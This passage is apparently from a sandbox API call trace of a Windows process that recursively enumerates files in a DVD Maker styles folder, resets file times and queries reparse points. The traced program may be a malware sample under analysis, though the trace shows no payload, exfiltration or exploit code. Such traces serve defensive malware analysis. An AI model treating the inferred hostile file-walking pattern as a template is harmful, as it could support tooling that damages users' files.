ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0245.333] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0245.333] GetLastError () returned 0x12 [0245.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.333] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0245.334] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0245.334] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.334] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.334] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9364a8 [0245.334] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9364a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9364a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9364a8) returned 1 [0245.335] NtClose (Handle=0x1c0) returned 0x0 [0245.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.335] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.354] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.354] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9276c0 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9344b8 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9276e0 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9345c0 [0245.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.355] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927700 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9346c8 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927720 [0245.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9347d0 [0245.356] RtlFreeHeap 